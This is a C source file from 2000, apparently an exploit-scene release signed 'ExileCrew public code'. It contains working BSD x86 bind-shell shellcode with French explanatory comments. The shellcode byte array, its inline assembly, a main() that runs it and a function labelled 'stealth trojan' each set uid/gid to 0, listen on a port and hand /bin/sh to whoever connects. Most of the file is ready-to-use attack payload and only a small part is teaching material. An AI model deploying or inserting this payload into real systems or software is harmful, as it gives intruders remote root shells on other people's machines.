/* ** Remote BSD shellcode ** May 2000 ** ** Login ** ** ExileCrew public code ** Special Thanks : Nitr0gen , my quebecer bro' . */ /* ** Ce shellcode bind un shell sur un port sans forker . L'avantage de ce shellcode est qu'il est relativement court (127 bytes, avant que je ne rajoute setuid(0) et setgid(0) qui devrait le ralonger d'une dizaine de bytes) . Une manipulation des jumps pour recuperer ladresse des variables placees a la fin du shellcode nest donc pas necessaire (voir plus bas l'explication sur les JMP) Voici les valeur hexadecimal a mettre dans eax pour chacuns des syscall que nous allons utiliser : socket : 0x61 dup2 : 0x5A execve : 0x3B bind : 0x68 accept : 0x1E listen : 0x6A Explication des JMP relatifs : ------------------------------ Les jumps et les call sont relatifs, ce qui veut dire qu'aucune adresse n'est specifiee mais que l'opcode du jump est en fait le nombre de byte a "sauter" , en avant ou en arriere, selon que la valeur soit positive ou negative . ----[ Jump near ]-- Il se code sur 2 bytes (0xEB 0xXX) ou XX est le nombre de bytes en hexadecimal a sauter . Cette valeur est signee, ce qui veut dire que le saut "avant" maximal est un saut de 0x7F (127) bytes . A partir de 0x80 (-128) , la valeur est negative, cest a dire que l'on va jumper a une adresse plus basse en memoire . ----[ Jump far ]-- L'offset de ce jump est code sur 4 bytes ce qui lui permet de sauter plus loin dans la memoire . Inconvenient : Le code hexadecimal de cette instruction est plus gros et donc plus encombrant en ram . Ce jump pose parfois un probleme lors de son utilisation dans un shellcode . Si notre saut est superieur a 128 bytes, nous aurons des bytes a 0x00, ce qui pose probleme quand a l'effacite du shellcode ;) . Opcodes : 0xE9 0xXX 0xXX 0xXX 0xXX Attention, l'offset est en little endian, ce qui veut dire qu'un jump de 0x80 en avant s'ecrira : 0xe9 0x80 0x00 0x00 0x00 et non : 0xe9 0x00 0x00 0x00 0x80 ----[ Call ]-- L'offset de saut est code sur 4 octets (0xE8 0xXX 0xXX 0xXX 0xXX) , cest a dire sur un signed int . La difference avec le jump far est que le call pushe l'adresse de retour de la fonction appelee (ladresse de l'instruction suivant le call) pour y revenir une fois la procedure terminee . Passages d'argument , methode BSD : ----------------------------------- Les arguments des syscall sont pushes , ce qui nous oblige a faire un fake push qui fera office de EIP pushe lors de ladresse du syscall . *** Explication *** ~~~~~~~~~~~~~~~~~~~ - code c : setuid(0); - code asm : <...> pushl $0x0 call 0x13a8 <...> (gdb) disassemble setuid <...> movl $0x17, %eax int $0x80 <...> *** wtf ? *** ~~~~~~~~~~~~~ Lors de "call setuid" , EIP est pushe , letat de notre pile est donc : | .... | *------* | 0x00 | *------* | EIP | *------* VIDE *------* <----- ESP pointe ici (sur le premier emplacement vide de la stack) NOTE : Vous remarquerez que EBP nest jamais pushe lors dun appel de syscall contrairement a un appel de fonction . Dans notre shellcode, il nets pas question de faire un call, car cette instruction est codee sur 5 bytes (long) et elle ajoute une difficultees d'organisation des donnees dont on peut se passer sans probleme . Pour cela, on fait un push supplementaire charge d'emuler le push de EIP par le syscall . Ce push ets indispensable pour que nos arguments soient toujours au meme endroit sur la pile, en l'occurence a ladresse ESP + 4 . Notre setuid(0) sera donc code ainsi dans le shellcode : xorl %eax, %eax // set to 0x00 pushl %eax // argument de setuid() pushl %eax // fake EIP int $0x80 // callgate .... ce qui fait 6 bytes . For dummies : ------------- - La valeur de retour des syscall et des fonctions est mise dans eax . Elle est directement testable a la sortie de l'interruption . - Les bytes NULL sont remplaces par des NOP (0x90) et remis en live au debut du shellcode . ** */ /* ** 127 bytes */ char shellcode[] = "\x31\xC0" "\x50" "\x50" "\xB0\x17" "\xCD\x80" // setuid "\x31\xC0" "\x50" "\x50" "\xB0\xB5" "\xCD\x80" // setgid "\xEB\x60" "\x5E" "\x31\xC0" "\x89\x46\x04" "\x88\x46\x17" "\x6A\x06" "\x6A\x01" "\x6A\x02" "\xb0\x61" "\x50" "\xCD\x80" // socket "\x89\xc7" "\x31\xc0" "\x6a\x10" "\x56" "\x57" "\xb0\x68" "\x50" "\xCD\x80" // bind "\x6A\x01" "\x57" "\xb0\x6A" "\x50" "\xCD\x80" // listen "\x50" "\x50" "\x57" "\xB0\x1E" "\x50" "\xCD\x80" //accept "\x89\xc7" "\x31\xDB" "\x31\xc9" "\xb1\x03" "\x49" "\x31\xc0" "\xb0\x5A" "\x51" "\x57" "\x50" "\xcd\x80" // dup2 "\x39\xd9" "\x75\xf2" "\x31\xc0" "\x89\x76\x18" "\x89\x46\x1c" "\x8D\x56\x1c" "\x8D\x4E\x18" "\x83\xc6\x10" "\x52" "\x51" "\x56" "\xb0\x3b" "\x50" "\xcd\x80" // execve "\xe8\x9b\xff\xff\xff" "\xc0\x02\x7a\x69\x90\x90\x90\x90\xc0\xd5\xbf\xef\xb8\xd5\xbf\xef" "/bin/sh"; /* ** Dump me baby ! */ fct() { __asm__(" xorl %eax, %eax pushl %eax pushl %eax movb $0x17, %al int $0x80 xorl %eax, %eax pushl %eax pushl %eax movb $0xB5, %al int $0x80 jmp data code: popl %esi xorl %eax, %eax movl %eax, 0x04(%esi) movb %al , 0x17(%esi) pushl $0x06 pushl $0x01 pushl $0x02 movb $0x61, %al pushl %eax int $0x80 movl %eax, %edi xorl %eax, %eax pushl $0x10 pushl %esi pushl %edi movb $0x68, %al pushl %eax int $0x80 pushl $0x01 pushl %edi movb $0x6A, %al pushl %eax int $0x80 pushl %eax pushl %eax pushl %edi movb $0x1E, %al pushl %eax int $0x80 movl %eax, %edi xorl %ebx, %ebx xorl %ecx, %ecx movb $0x03, %ecx loop: decl %ecx xorl %eax, %eax movb $0x5A, %al pushl %ecx pushl %edi pushl %eax int $0x80 cmpl %ebx, %ecx jne loop xorl %eax, %eax movl %esi, 0x18(%esi) movl %eax, 0x1C(%esi) leal 0x1C(%esi), %edx leal 0x18(%esi), %ecx addl $0x10, %esi pushl %edx pushl %ecx pushl %esi movb $0x3B, %al pushl %eax int $0x80 data: call code .string \"\xC0\x02\x7A\x69\x90\x90\x90\x90\xC0\xD5\xBF\xEF\xB8\xD5\xBF\xEF\" .string \"/bin/sh\x90\" "); } /* ** ExileCrew rulez */ main() { void (*fct)(); printf("shellcode lenght = %d bytes \n", sizeof(shellcode)); fct = (void *) shellcode; fct(); } /* ** Elit stealth trojan huh */ trojan() { int clientsock; int serversock; char *server; char *args[2]; server = "\xC0\x02\x7A\x69\x00\x00\x00\x00\xC0\xD5\xBF\xEF\xB8\xD5\xBF\xEF"; args[0] = "/bin/sh"; args[1] = 0x00; setuid(0); setgid(0); serversock = socket(0x02, 0x01, 0x06); bind(serversock, server, 0x10); listen(serversock, 0x01); clientsock = accept(serversock, 0x00, 0x00); dup2(clientsock, 0x02); dup2(clientsock, 0x01); dup2(clientsock, 0x00); execve(args[0], args, args[1]); }